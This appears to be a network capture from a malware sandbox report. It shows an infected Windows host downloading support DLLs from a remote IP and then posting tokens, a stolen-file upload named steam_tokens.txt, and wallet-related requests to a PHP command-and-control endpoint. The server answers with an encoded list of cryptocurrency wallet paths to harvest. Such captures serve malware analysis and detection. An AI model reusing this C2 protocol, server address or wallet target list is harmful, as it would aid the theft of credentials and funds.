Nov 21, 2024 22:33:34.425626040 CET	1236	IN	Data Raw: 0c 8b 4e 08 83 c9 01 89 4a 0c 89 56 08 89 30 5e 5f 5b 5d c3 89 72 0c eb f6 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 b6 00 00 00 e8 3a b2 03 00 83 cf 01 89 7a 0c c7 05 f4 f8 08 10 a2 23 08 10 cc b9 a0 00 00 00 e8 1f b2 03 00 cc cc cc cc cc cc cc 55 89 Data Ascii: NJV0^_[]r#:z#USWVP2Fp8tGz~Hep2ppzz88J^
Nov 21, 2024 22:33:34.425637960 CET	1236	IN	Data Raw: ad 03 00 c7 02 00 00 00 00 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 a9 00 00 00 e8 76 ad 03 00 8b 42 04 83 e0 01 89 46 04 c7 05 f4 f8 08 10 a2 23 08 10 cc b9 b6 00 00 00 e8 58 ad 03 00 55 89 e5 53 57 56 83 ec 10 89 4d e4 a1 0c e0 08 10 31 e8 89 45 f0 Data Ascii: #vBF#XUSWVM1E9Bh0,,hUEPji}Et}CsMKADP0\v
Nov 21, 2024 22:33:34.425649881 CET	1236	IN	Data Raw: a6 9f 07 00 8b 54 24 20 83 c4 0c 89 74 24 18 8b 46 18 01 d0 29 c3 8d 47 ff 85 c7 0f 95 c0 85 ff 0f 94 c1 08 c1 75 78 89 f8 83 c8 01 0f bd c8 d3 eb 89 7c 24 1c 89 d8 c1 e8 05 3b 42 04 0f 82 70 01 00 00 8b 7c 82 0c 31 f6 46 89 d9 d3 e6 0f a3 df 0f Data Ascii: T$ t$F)Gux\|$;Bp\|1F<\|BHJ\$;KAT$\|$tJ)z,t$(L$@1ae^_[]th;D$tNL$9x8
Nov 21, 2024 22:33:34.425662041 CET	1236	IN	Data Raw: fe ff ff 8b 1a 85 db 0f 85 26 04 00 00 8b 44 24 08 39 10 89 c2 0f 85 0a 05 00 00 89 0a 8b 4c 24 0c 8b 5c 24 18 8b 54 24 14 8b 44 24 30 89 43 04 31 ff 89 3e 8b 74 24 10 8b 44 24 24 89 7c 86 14 8b 7c 24 1c 6a 01 e8 09 60 02 00 8b 54 24 10 83 c4 04 Data Ascii: &D$9L$\$T$D$0C1>t$D$$\|\|$j`T$KQL$0D$$@T$DL$0D$DBWW9GQQOT$49:Y9
Nov 21, 2024 22:33:34.425674915 CET	1236	IN	Data Raw: 00 8b 31 83 e6 fe 83 e0 01 09 f0 89 42 04 89 11 8d 54 24 30 89 0a e9 d1 fc ff ff 83 c9 01 89 4e 04 8b 06 85 c0 74 08 8b 48 04 f6 c1 01 75 6f 8b 42 04 89 c1 83 e1 fe 0f 84 67 02 00 00 8b 31 83 e6 fe 83 e0 01 09 f0 89 42 04 89 11 e9 b3 fa ff ff 83 Data Ascii: 1BT$0NtHuoBg1BBBqq`G1G9"HAqqZ0Zqq
Nov 21, 2024 22:33:34.425688982 CET	1236	IN	Data Raw: 9a 03 00 31 c0 89 44 24 17 89 44 24 14 31 d2 31 c9 31 db eb 97 cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f0 81 ec 90 00 00 00 89 cf a1 0c e0 08 10 31 e8 89 84 24 88 00 00 00 a1 00 f7 08 10 8b 0d c8 e3 08 10 64 8b 15 2c 00 00 00 8b 0c 8a 3b 81 Data Ascii: 1D$D$111USWV1$d,;~lhy=uVhNt+hoPdu5<hx\|$\$XS#D$@jP(f
Nov 21, 2024 22:33:34.425703049 CET	1236	IN	Data Raw: 44 24 10 8b 4c 24 14 89 0d 0c e2 08 10 a3 08 e2 08 10 31 c0 8d 4c 24 20 89 01 8d 74 24 1c 89 06 8d 44 24 18 50 56 51 ff 15 74 be 08 10 8b 06 85 c0 0f 84 b5 02 00 00 48 b9 59 17 b7 d1 f7 e1 c1 ea 0d 69 da 10 27 00 00 b9 10 27 00 00 01 cb 8b 35 08 Data Ascii: D$L$1L$ t$D$PVQtHYi''5=<$jQRP'tp<$ii2k2x\|1N\$
Nov 21, 2024 22:33:34.545351982 CET	1236	IN	Data Raw: df 0f 43 fb 68 00 40 00 00 57 56 ff 15 30 bf 08 10 85 c0 0f 84 4d 02 00 00 01 fe 29 fb b8 00 00 10 00 39 c3 bf 00 00 10 00 0f 42 fb 85 db 75 d4 68 84 e7 08 10 ff 15 30 be 08 10 a1 2c e7 08 10 85 c0 0f 84 f1 01 00 00 89 45 e8 8b 00 a3 2c e7 08 10 Data Ascii: Ch@WV0M)9Buh0,E,hh0tLEU1y19GuIuIt{9]ECECCE
Nov 21, 2024 22:33:38.544085026 CET	95	OUT	GET /955ccceeebf8214b/msvcp140.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:38.944408894 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 21, 2024 22:33:43.631149054 CET	91	OUT	GET /955ccceeebf8214b/nss3.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:44.030805111 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 21, 2024 22:33:53.022772074 CET	95	OUT	GET /955ccceeebf8214b/softokn3.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:53.423026085 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 21, 2024 22:33:54.208545923 CET	99	OUT	GET /955ccceeebf8214b/vcruntime140.dll HTTP/1.1 Host: 109.107.157.132 Cache-Control: no-cache
Nov 21, 2024 22:33:54.608474016 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 21, 2024 22:33:56.091478109 CET	203	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCA Host: 109.107.157.132 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:33:56.771138906 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:56.835575104 CET	469	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBA Host: 109.107.157.132 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="message"wallets------AAEBAKKJKKEBKFIDBFBA--
Nov 21, 2024 22:33:57.237768888 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 21, 2024 22:33:57.240283966 CET	467	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ Host: 109.107.157.132 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"files------BKFBAECBAEGDGDHIEHIJ--
Nov 21, 2024 22:33:57.970325947 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:57.990886927 CET	565	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 109.107.157.132 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="file"------CAKKJKKECFIDGDHIJEGD--
Nov 21, 2024 22:33:58.588489056 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:33:58.694870949 CET	204	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 109.107.157.132 Content-Length: 98523 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 22:34:00.103147030 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:33:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:34:00.143645048 CET	474	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHCGCGDAAKFIECFHD Host: 109.107.157.132 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------IDBFHCGCGDAAKFIECFHDContent-Disposition: form-data; name="message"ybncbhylepme------IDBFHCGCGDAAKFIECFHD--
Nov 21, 2024 22:34:00.545773029 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 22:34:00.546780109 CET	474	OUT	POST /7a5d4e643b804e99.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJE Host: 109.107.157.132 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 39 38 37 38 64 35 36 61 36 35 30 65 65 33 32 34 61 33 34 66 37 30 66 65 34 37 61 61 35 34 30 36 38 65 32 30 39 64 32 32 62 30 33 62 33 63 32 32 34 33 37 63 64 38 35 33 62 62 33 61 61 61 35 38 36 35 62 37 66 36 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 41 41 41 4b 4a 4a 44 41 4b 45 43 42 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="token"e9878d56a650ee324a34f70fe47aa54068e209d22b03b3c22437cd853bb3aaa5865b7f6d------GHCAAAAKJJDAKECBGIJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHCAAAAKJJDAKECBGIJE--
Nov 21, 2024 22:34:02.603830099 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	172.217.21.36	443	7828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
